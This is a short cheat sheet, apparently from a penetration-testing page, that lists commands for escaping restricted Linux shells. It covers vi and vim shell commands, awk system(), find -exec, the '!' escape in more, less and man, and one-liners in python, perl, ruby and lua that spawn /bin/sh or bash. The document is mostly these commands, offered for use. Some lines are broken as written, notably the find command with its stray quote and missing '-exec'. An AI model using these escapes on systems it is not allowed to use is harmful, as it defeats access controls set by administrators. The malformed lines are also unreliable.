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Escaping/Bypass  From Jail/Restricted Linux Shells

Editors
One of the most well documented techniques is to spawn a shell from within an editor such as 'vi' or 'vim'. Open any file using one of these editors and type the following and execute it from within the editor:
    :set shell=/bin/bash

Next, type and execute:
    :shell

Another method is to type:
    :! /bin/bash


Awk Command
If you can run 'awk', you can attempt to execute a shell from within it.
Type the following:
    awk 'BEGIN {system("/bin/sh")}'

Find Command
If the 'find' command is present, you can attempt to use the '-exec' function within it.
Type the following:
    find / -name blahblah 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

More, Less, and Man Commands
There is a known escape within these commands. After you use the 'more', 'less', or 'man' command with a file, type '!' followed by a command. For instance, try the following once inside the file:
    '! /bin/sh'
    '!/bin/sh'
    '!bash'

Like the shell escape in 'awk' and 'find', if successful, you'll be sitting at an unrestricted shell prompt. Note you can try different shells, and the space after the '!' may not matter.

Tee Command
If you do not have access to an editor, and would like to create a script, you can make use of the 'tee' command. Since you cannot make use of '>' or '>>', the 'tee' command can help you direct your output when used in tandem with the 'echo' command. This is not a shell escape in of itself, but consider the following:
    echo "evil script code" | tee script.sh

Try invoking a SHELL through your favorite language:
    python: exit_code = os.system('/bin/sh') output = os.popen('/bin/sh').read()
    perl -e 'exec "/bin/sh";'
    perl: exec "/bin/sh";
    ruby: exec "/bin/sh"
    lua: os.execute('/bin/sh')
    irb(main:001:0> exec "/bin/sh"
    python -c 'import pty;pty.spawn("/bin/bash")'
    echo os.system('/bin/bash')
    echo /usr/local/rbin/*
    /bin/sh -i

Most likely, you will not be able to execute any of these, but it's worth a shot in case they're installed.

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